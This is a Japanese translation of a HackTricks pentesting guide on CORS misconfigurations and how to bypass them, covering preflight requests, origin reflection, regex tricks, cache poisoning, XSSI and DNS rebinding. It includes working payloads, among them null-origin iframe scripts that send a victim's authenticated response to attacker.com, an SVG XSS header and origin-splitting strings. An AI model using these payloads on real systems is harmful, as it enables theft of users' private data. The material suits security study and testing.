CORS - Misconfigurations & Bypass

Tip

AWS Hackingを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。

HackTricksをサポート

CORSとは?

Cross-Origin Resource Sharing (CORS) 標準は、どのサーバがその資産にアクセスできるか、またどの HTTP request methods が外部ソースから許可されるかをサーバが定義できるようにします。

same-origin policy では、resource を要求する serverresource をホストする server が、同じ protocol(例: http://)、domain name(例: internal-web.com)、および port(例: 80)を共有している必要があります。この policy の下では、同じ domain と port の web pages のみが resource へアクセスできます。

http://normal-website.com/example/example.html の文脈での same-origin policy の適用は、次のように示されます。

URL accessedAccess permitted?
http://normal-website.com/example/Yes: Identical scheme, domain, and port
http://normal-website.com/example2/Yes: Identical scheme, domain, and port
https://normal-website.com/example/No: Different scheme and port
http://en.normal-website.com/example/No: Different domain
http://www.normal-website.com/example/No: Different domain
http://normal-website.com:8080/example/No: Different port*

*Internet Explorer は same-origin policy を強制する際に port number を無視するため、この access を許可します。

Access-Control-Allow-Origin Header

この header は、複数の originnull 値、または wildcard * を許可できます。ただし、複数の origin をサポートする browser はありません。また、wildcard * の使用には limitations があります。(wildcard は単独で使う必要があり、Access-Control-Allow-Credentials: true と併用することはできません。)

この header は、website によって開始された cross-domain resource request に対する応答として server によって送信され、browser は自動的に Origin header を追加します。

Access-Control-Allow-Credentials Header

default では、cross-origin requests は cookies や Authorization header のような credentials なしで送信されます。しかし、cross-domain server は Access-Control-Allow-Credentials header を true に設定することで、credentials が送信されたときに response の読み取りを許可できます。

true に設定すると、browser は credentials(cookies、authorization headers、または TLS client certificates)を送信します。

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)
fetch(url, {
credentials: "include",
})
const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Pre-flight request

クロスドメイン通信における Pre-flight Requests の理解

特定の条件下で cross-domain request を開始する場合、たとえば non-standard HTTP method(HEAD、GET、POST 以外のもの)を使用する、新しいheadersを追加する、または特殊な Content-Type header value を使うと、pre-flight request が必要になることがあります。この事前リクエストは OPTIONS method を利用し、これから行われる cross-origin request の意図、つまり使用予定の HTTP methods と headers をサーバーに知らせる役割を果たします。

Cross-Origin Resource Sharing (CORS) protocol は、許可された methods、headers、そして origin の信頼性を確認することで、要求された cross-origin operation が実行可能かどうかを判断するために、この pre-flight check を必須としています。pre-flight request が不要になる条件の詳細については、Mozilla Developer Network (MDN) にある包括的なガイドを参照してください。

pre-flight request がないことは、response に authorization headers を含める必要がなくなることを意味しない 点に注意が必要です。これらの headers がなければ、browser は cross-origin request の response を処理する能力を失います。

Special-Request-Header という custom header とともに PUT method を使うことを目的とした pre-flight request の例は、次の図のとおりです:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

レスポンスとして、サーバーは受け入れられる method、許可された origin、その他の CORS policy の詳細を示す header を返すことがあり、以下に示すようになります:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: このヘッダーは、実際のリクエスト中にどのヘッダーを使用できるかを指定します。サーバーによって設定され、クライアントからのリクエストで許可されるヘッダーを示します。
  • Access-Control-Expose-Headers: このヘッダーを通じて、サーバーはシンプルなレスポンスヘッダー以外に、どのヘッダーをレスポンスの一部として公開できるかをクライアントに通知します。
  • Access-Control-Max-Age: このヘッダーは、pre-flight request の結果をどれだけの時間キャッシュできるかを示します。サーバーは、pre-flight request によって返された情報を再利用できる最大時間を秒単位で設定します。
  • Access-Control-Request-Headers: pre-flight request で使用されるこのヘッダーは、実際のリクエストでクライアントが使用したい HTTP ヘッダーをサーバーに通知するためにクライアントによって設定されます。
  • Access-Control-Request-Method: これも pre-flight request で使用されるこのヘッダーは、実際のリクエストでどの HTTP メソッドが使われるかを示すためにクライアントによって設定されます。
  • Origin: このヘッダーはブラウザによって自動的に設定され、cross-origin request の origin を示します。サーバーはこれを使って、受信したリクエストを CORS policy に基づいて許可するか拒否するかを判断します。

通常は、(content-type や設定されたヘッダーによりますが)GET/POST request では pre-flight request は送信されません(リクエストは直接送信されます)。ただし、レスポンスの headers/body にアクセスしたい場合は、それを許可する Access-Control-Allow-Origin ヘッダーを含んでいる必要があります。
したがって、CORS は CSRF を防ぎません(ただし役立つことはあります)。

Local Network Requests Pre-flight request

現代のブラウザと現在の Private Network Access (PNA) draft では、preflight に Access-Control-Request-Private-Network: true、レスポンスに Access-Control-Allow-Private-Network: true というヘッダーを使用します。古い記事や PoC ではまだ Local-Network ヘッダー名が使われていることがありますが、現在のテストでは Private-Network 系を想定してください。

ローカルネットワーク request を許可する有効なレスポンス には、Access-Control-Allow-Private-Network: true も含まれている必要があります:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true
Content-Length: 0
...

そして preflight request は次のようになります:

OPTIONS / HTTP/1.1
Host: router.local
Origin: https://example.com
Access-Control-Request-Method: GET
Access-Control-Request-Private-Network: true

Note

ChromeのPNA rolloutは2024年に何度か変更されました。2024年10月9日時点で、ChromeはPNA preflightsは保留中だと文書化していました。これは互換性の問題によるもので、secure-contextの制限は引き続き有効でした。したがって、specに準拠した preflight flow と、より古い 「実運用では enforcement が不完全なため機能する」 挙動の両方をテストし続けてください。

Warning

linux の 0.0.0.0 IP は、localhost にアクセスするためのこれらの要件を bypass するのに使えることに注意してください。なぜなら、その IP address は “local” と見なされないからです。

Chrome も 0.0.0.0/8 は現在 Private Network Access の一部として扱われると文書化しているため、この手法は browser/version に依存します。したがって、前提にせず再テストしてください。

また、ローカルの endpoint の public IP address(たとえば router の public IP)を使うと、Local Network requirementsbypass できる場合もあります。というのも、複数のケースで、たとえ public IP にアクセスしていても、それが local network からであれば、access が許可されるからです。

Wildcards

次の configuration は非常に permissive に見えるかもしれませんが、注意してください:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

これはブラウザでは許可されていないため、credentials はこれによって許可された request と一緒には送信されません。

Exploitable misconfigurations

Access-Control-Allow-Credentialstrue に設定することが、ほとんどの real attacks の前提条件であることが確認されています。この設定により、browser は credentials を送信して response を読み取れるようになり、attack の効果が高まります。これがなければ、browser に request を送らせる利点は、自分で実行する場合と比べて薄れます。ユーザーの cookies を利用することが不可能になるためです。

Exception: Exploiting Network Location as Authentication

例外として、被害者の network location が一種の authentication として機能する場合があります。これにより、被害者の browser を proxy として使用し、IP ベースの authentication を回避して intranet applications に access できます。この方法は、影響の点で DNS rebinding に似ていますが、より簡単に exploit できます。

Reflection of Origin in Access-Control-Allow-Origin

実際のシナリオで Origin header の値が Access-Control-Allow-Origin に反映されるケースは、これらの headers を組み合わせる制限があるため、理論上は起こりにくいです。しかし、複数の URL に対して CORS を有効にしたい developer は、Origin header の値をコピーして Access-Control-Allow-Origin header を動的に生成することがあります。この手法は vulnerability を生む可能性があり、特に attacker が正当そうに見える名前の domain を使うと、validation logic を欺けてしまいます。

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

null Origin の悪用

null origin は、redirect やローカルHTMLファイルのような状況で指定され、独特の位置づけを持ちます。一部のアプリケーションはローカル開発を容易にするためにこの origin を whitelist していますが、その結果として、任意のwebsiteが sandboxed iframe を通じて null origin を模倣できてしまい、CORS 制限を bypass できます。

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Regular Expression Bypass Techniques

ドメイン whitelist に遭遇したら、bypass の可能性を必ずテストすることが重要です。たとえば、攻撃者のドメインを whitelisted domain に追加して付ける、または subdomain takeover vulnerabilities を悪用する方法があります。さらに、ドメイン validation に使われる regular expressions は、ドメイン命名規則の微妙な違いを見落とすことがあり、追加の bypass の機会を生みます。

Advanced Regular Expression Bypasses

Regex patterns は通常、英数字、ドット (.)、ハイフン (-) 文字に注目し、その他の可能性を無視します。たとえば、ブラウザと regex patterns で異なる意味に解釈される文字を含むように作成された domain name は、security checks を bypass できます。subdomains における underscore 文字の扱いにおける Safari、Chrome、Firefox の違いは、このような不一致を利用して domain validation logic を回避できることを示しています。

この bypass check の詳細と設定については: https://www.corben.io/advanced-cors-techniques/ および https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

From XSS inside a subdomain

開発者は、アクセスを要求することを許可された domains を whitelist することで、CORS exploitation を防ぐ defensive mechanisms を実装することがよくあります。しかし、こうした予防策があっても、システムの security は完全ではありません。whitelisted domains の中に vulnerable subdomain が 1 つでも存在すると、XSS (Cross-Site Scripting) のような他の vulnerabilities を通じて CORS exploitation の扉が開かれる可能性があります。

例として、requester.com という domain が provider.com から resources にアクセスするために whitelisted されている scenario を考えてみましょう。server-side configuration は次のようになるかもしれません:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

この設定では、requester.com のすべてのサブドメインへのアクセスが許可されています。ただし、sub.requester.com のようなサブドメインが XSS 脆弱性により侵害されている場合、攻撃者はこの弱点を悪用できます。たとえば、sub.requester.com にアクセスできる攻撃者は、その XSS 脆弱性を利用して CORS ポリシーを回避し、provider.com 上のリソースに悪意を持ってアクセスできます。

Special Characters

PortSwigger の URL validation bypass cheat sheet によると、いくつかのブラウザはドメイン名内の奇妙な文字をサポートしています。

Chrome と Firefox は、Origin ヘッダーの検証に実装された正規表現を回避できるアンダースコア _ をサポートしています:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari は、ドメイン名に特殊文字を含めることを受け入れる点で、さらに緩いです:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

PortSwigger の cheat sheet の最近の更新では、Origin ヘッダーを regex や自作の URL parser で検証しているターゲットを fuzz する際に試す価値のある、より多くの Safari 向け domain splitting ペイロードが追加されました:

https://example.com.{.attacker.com/
https://example.com.}.attacker.com/
https://example.com.`.attacker.com/

これらは、バックエンドが供給された origin が信頼された hostname で 始まる含む かしか確認しない一方で、browser は attacker-controlled な suffix を実効的な origin boundary として扱う場合に有用です。

また、modern origin fuzzing は hostname suffix だけで終わるべきではないことも覚えておいてください。現在の PortSwigger cheat sheet には、次の payload families が含まれています。

  • Domain allow-list bypasses: naive な prefix/suffix/substring チェックをまだ満たしてしまう attacker-controlled domains。
  • Fake-relative absolute URLs: application code が relative として parse してしまう可能性がある、browser-valid な absolute URLs。
  • Loopback/IP normalizations: CORS logic が localhost127.0.0.1、または cloud metadata endpoints を string comparison でブロックしようとする場合に有用な、別形式の IPv4/IPv6 表現。

Other funny URL tricks

URL Format Bypass

Server-side cache poisoning

From this research

HTTP header injection を通じて server-side cache poisoning を悪用することで、stored Cross-Site Scripting (XSS) vulnerability を誘発できる可能性があります。このシナリオは、application が Origin header の illegal characters に対する sanitization を怠ったときに発生し、特に Internet Explorer と Edge の users に対して脆弱性を生みます。これらの browsers は (0x0d) を正当な HTTP header terminator として扱うため、HTTP header injection vulnerabilities につながります。

Origin header が改ざんされた次の request を考えてみましょう:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer と Edge はレスポンスを次のように解釈します:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

この脆弱性を直接 exploit するために web browser に不正な header を送らせるのは現実的ではありませんが、Burp Suite のような tools を使って crafted request を手動で生成することはできます。この方法により、server-side cache が response を保存し、意図せず他のユーザーにその response を返してしまう可能性があります。crafted payload の目的は、page の character set を UTF-7 に変更することです。UTF-7 は、特定の文脈では script として実行できる形で文字を encode できるため、XSS vulnerabilities と関連付けられることが多い character encoding です。

stored XSS vulnerabilities についてさらに読むには、PortSwigger を参照してください。

Note: HTTP header injection vulnerabilities の exploitation、特に server-side cache poisoning を介したものは、HTTP headers を含むすべての user-supplied input を validation し sanitization することの極めて重要性を示しています。こうした vulnerabilities を防ぐために、input validation を含む堅牢な security model を常に採用してください。

Client-Side cache poisoning

From this research

この scenario では、proper encoding なしに custom HTTP header の contents を反映する web page の instance が確認されています。具体的には、web page が X-User-id header に含まれる contents をそのまま反映しており、header に JavaScript code を load 時に実行するよう設計された SVG image tag が含まれている例のように、malicious JavaScript を含めることができます。

Cross-Origin Resource Sharing (CORS) policies により、custom headers を送信できます。しかし、CORS restrictions により response が browser に直接 render されない場合、このような injection の有用性は限定的に見えるかもしれません。重要なのは browser の cache の挙動です。Vary: Origin header が指定されていない場合、malicious response が browser に cache される可能性があります。その後、URL に移動した際に、その cached response が直接 render され、最初の request 時に直接 render させる必要がなくなります。この mechanism は、client-side caching を利用することで attack の reliability を高めます。

この attack を示すために、JSFiddle のような web page の environment で実行されることを想定した JavaScript example が示されています。この script は単純な動作を行います。malicious JavaScript を含む custom header 付きで、指定した URL に request を送信します。request が正常に完了すると、target URL へ navigation しようとし、Vary: Origin header が適切に扱われずに response が cache されている場合、注入された script の実行が引き起こされる可能性があります。

この attack の実行に使われる JavaScript の要点を以下にまとめます:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

バイパス

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI は Cross-Site Script Inclusion としても知られ、script tag を使ってリソースを含める場合に Same Origin Policy (SOP) が適用されないという事実を悪用する vulnerability の一種です。これは、scripts は異なる domains から含められる必要があるためです。この vulnerability により、attacker は script tag を使って含められたあらゆる content にアクセスして読み取ることができます。

この vulnerability は、dynamic JavaScript や JSONP (JSON with Padding) において特に重要になります。とくに、cookies のような ambient-authority 情報が認証に使われる場合です。異なる host から resource を request すると cookies が含まれるため、attacker からアクセス可能になります。

この vulnerability をよりよく理解し、mitigate するには、https://github.com/kapytein/jsonp で利用できる BurpSuite plugin を使えます。この plugin は、web applications における潜在的な XSSI vulnerabilities の特定と対処に役立ちます。

XSSI のさまざまな種類と exploit 方法の詳細はこちら。

request に callback parameter を追加してみてください。ページが JSONP として data を送るよう準備されていたのかもしれません。その場合、page は Content-Type: application/javascript で data を返し、CORS policy を bypass できます。

Easy (useless?) bypass

Access-Control-Allow-Origin 制限を bypass する 1 つの方法は、web application にあなたの代わりに request を送らせ、その response を返させることです。ただし、この scenario では、request は別の domain に対して行われるため、最終 victim の credentials は送信されません。

  1. CORS-escape: この tool は、request とその headers を転送しつつ、Origin header を request 先 domain に一致するよう spoof する proxy を提供します。これにより、CORS policy を effectively bypass できます。以下は XMLHttpRequest を使った使用例です:
  2. simple-cors-escape: この tool は、request を proxy する別の approach を提供します。request をそのまま渡すのではなく、server が指定された parameters で独自に request を送信します。

Iframe + Popup Bypass

iframe を作成し、そこから new window を開くことで、e.origin === window.origin のような CORS checks を bypass できます。詳細は次の page を参照してください:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding via TTL は、DNS records を操作して特定の security measures を bypass するために使われる technique です。仕組みは次のとおりです:

  1. attacker が web page を作成し、victim にそれへ access させます。
  2. 次に attacker は、自分の domain の DNS (IP) を victim の web page を指すように変更します。
  3. victim の browser は DNS response を cache します。そこには、その DNS record をどれくらい有効とみなすかを示す TTL (Time to Live) 値が含まれている場合があります。
  4. TTL が切れると、victim の browser は新しい DNS request を行い、attacker が victim の page 上で JavaScript code を実行できるようになります。
  5. victim の IP を制御し続けることで、attacker は victim server に cookies を送らずに victim から information を収集できます。

browser には caching mechanisms があるため、TTL 値が低くてもこの technique の即時悪用を防ぐことがある点に注意してください。

DNS rebinding は、victim が行う explicit IP checks を bypass する場合や、user や bot が同じ page に長時間とどまり、cache が expire する scenario で有用です。

DNS rebinding をすぐに悪用したい場合は、https://lock.cmpxchg8b.com/rebinder.html のような service を使えます。

自分で DNS rebinding server を動かすには、DNSrebinder (https://github.com/mogwailabs/DNSrebinder) のような tool を利用できます。これには、local の port 53/udp を公開し、それを指す A record を作成し (例: ns.example.com)、さらに先に作成した A subdomain を指す NS record を作成します (例: ns.example.com)。すると、ns.example.com subdomain の any subdomain は host によって解決されます。

また、http://rebind.it/singularity.html で公開稼働している server を試して、さらに理解と experimentation を行うこともできます。

DNS Rebinding via DNS Cache Flooding

DNS cache flooding による DNS rebinding も、browser の caching mechanism を bypass して 2 回目の DNS request を強制する別の technique です。仕組みは次のとおりです:

  1. 最初に victim が DNS request を行うと、attacker の IP address が返されます。
  2. caching defense を bypass するため、attacker は service worker を活用します。service worker は DNS cache を flood し、cached された attacker server name を実質的に削除します。
  3. victim の browser が 2 回目の DNS request を行うと、今度は IP address 127.0.0.1 が返されます。これは通常 localhost を指します。

service worker で DNS cache を flood することで、attacker は DNS resolution process を操作し、victim の browser に 2 回目の request を強制でき、その request は attacker が望む IP address に解決されます。

DNS Rebinding via Cache

caching defense を bypass する別の方法は、DNS provider で同じ subdomain に対して複数の IP addresses を利用することです。仕組みは次のとおりです:

  1. attacker は DNS provider で同じ subdomain に対して 2 つの A records (または 2 つの IP を持つ単一の A record) を設定します。
  2. browser がこれらの records を check すると、両方の IP addresses を受け取ります。
  3. browser が最初に attacker の IP address を使うと判断した場合、attacker は同じ domain に対する HTTP requests を行う payload を提供できます。
  4. ただし attacker が victim の IP address を取得すると、victim の browser への応答を停止します。
  5. domain が応答しないと認識した victim の browser は、与えられた 2 つ目の IP address を使うように移ります。
  6. 2 つ目の IP address に access することで、browser は Same Origin Policy (SOP) を bypass し、attacker はこれを悪用して information を収集し、exfiltrate できます。

この technique は、domain に複数の IP addresses が与えられたときの browser の振る舞いを利用します。応答を戦略的に制御し、browser が選ぶ IP address を操作することで、attacker は SOP を悪用し、victim から information に access できます。

Warning

localhost に access するには、Windows では 127.0.0.1 を rebind し、linux では 0.0.0.0 を試すべきです。
godaddy や cloudflare のような provider は ip 0.0.0.0 の使用を許可しませんでしたが、AWS route53 では 2 つの IP のうち 1 つを “0.0.0.0” にした 1 つの A record を作成できました

詳細は https://unit42.paloaltonetworks.com/dns-rebinding/ を参照してください

Other Common Bypasses

  • internal IPs が許可されていない場合、0.0.0.0 を禁止し忘れている可能性があります (Linux と Mac で動作)
  • internal IPs が許可されていない場合、localhost への CNAME を返します (Linux と Ma
  • internal IPs が DNS responses として許可されていない場合、www.corporate.internal のような internal services への CNAMEs を返せます。

DNS Rebidding Weaponized

前述の bypass techniques と次の tool の使い方については、talk Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference でさらに詳しく学べます。

Singularity of OriginDNS rebinding attacks を実行するための tool です。attack server の DNS name の IP address を target machine の IP address に rebinding し、target machine 上の vulnerable software を exploit する attack payloads を提供するために必要な components を含んでいます。

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH は単純に、従来の RFC1035 DNS wire format を HTTPS の中に tunnel するものです (通常は Content-Type: application/dns-message の POST)。resolver は同じ resource records で応答するため、browser が attacker-controlled hostname を TLS 経由で resolve しても、SOP-breaking techniques は引き続き動作します。

Key observations

  • Chrome (Windows/macOS) と Firefox (Linux) は、Cloudflare, Google, OpenDNS の DoH resolvers に設定すると rebinding に成功します。transport encryption は first-then-secondmultiple-answersDNS cache flooding strategies の attack-flow を遅延も block もしません。
  • Public resolvers は依然としてすべての query を認識しますが、browser が従うべき host-to-IP mapping を強制することはほとんどありません。authoritative server が rebinding sequence を返すと、browser は新しい IP に接続しても元の origin tuple を保持します。

Singularity strategies and timing over DoH

  • First-then-second は引き続き最も信頼できる option です: 最初の lookup は payload を提供する attacker IP を返し、その後の lookup はすべて internal/localhost IP を返します。一般的な browser DNS caches では、recursive resolver が HTTPS でしか到達できない場合でも、およそ 40〜60 秒で traffic が切り替わります。
  • Multiple answers (fast rebinding) は、2 つの A records (attacker IP + Linux/macOS では 0.0.0.0、Windows では 127.0.0.1) を返し、page load 後すぐに最初の IP を programmatically に blackhole する (例: iptables -I OUTPUT -d <attacker_ip> -j DROP) ことで、3 秒未満で localhost に到達できます。Firefox の DoH implementation は繰り返し DNS queries を送ることがあるため、Singularity の fix は、query ごとに timer を更新するのではなく、最初の query timestamp に基づいて firewall rule を schedule することです。

Beating “rebind protection” in DoH providers

  • 一部の provider (例: NextDNS) は private/loopback answers を 0.0.0.0 に置き換えますが、Linux と macOS はその destination を local services に普通に route します。したがって、2 つ目の record として意図的に 0.0.0.0 を返しても、origin は引き続き localhost に pivot します。
  • 直接の A/AAAA response だけを filter するのは効果がありません: internal-only hostname への CNAME を返すと、public DoH resolver は alias を forward し、Firefox のような browser は internal zone の解決のために system DNS に fallback し、private IP への resolution を完了しますが、それでも attacker origin として扱われます。

Browser-specific DoH behavior

  • Firefox DoH は fallback mode で動作します: any DoH failure (resolved しない CNAME target を含む) は OS resolver 経由の plaintext lookup を trigger し、通常は internal namespace を知っている enterprise DNS server になります。この behavior により、corporate networks 内で CNAME bypass が信頼できるものになります。
  • Chrome DoH は、OS DNS が whitelisted な DoH-capable recursive resolver (Cloudflare, Google, Quad9 など) を指している場合にのみ active になり、同じ fallback chain は提供しません。したがって corporate DNS にしか存在しない internal hostnames は resolve できませんが、localhost や任意の routable address への rebinding は引き続き成功します。attacker が response set 全体を制御しているためです。

Testing and monitoring DoH flows

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS を有効にし、DoH endpoint を指定します (Cloudflare と NextDNS は built in です)。Chrome/Chromium: chrome://flags/#dns-over-https を有効にし、OS DNS servers を Chrome がサポートする resolver の 1 つに設定します (例: 1.1.1.1/1.0.0.1)。
  • public DoH APIs を直接 query できます。例えば curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq で、browser が cache する正確な records を確認できます。
  • Burp/ZAP での DoH の intercept も引き続き機能します。なぜなら単なる HTTPS だからです (body に binary DNS payload が入る)。packet-level inspection を行うには、browser 起動前に TLS keys を export (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) し、Wireshark に dns display filter で DoH sessions を decrypt させて、browser が DoH のままか classic DNS に fallback するかを確認します。

Real Protection against DNS Rebinding

  • internal services で TLS を使う
  • data への access に authentication を要求する
  • Host header を validate する
  • https://wicg.github.io/private-network-access/: public servers が internal servers に access したいときに常に pre-flight request を送る提案

Tools

CORS policies の possible misconfigurations を fuzz する

References

Tip

AWS Hackingを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。

HackTricksをサポート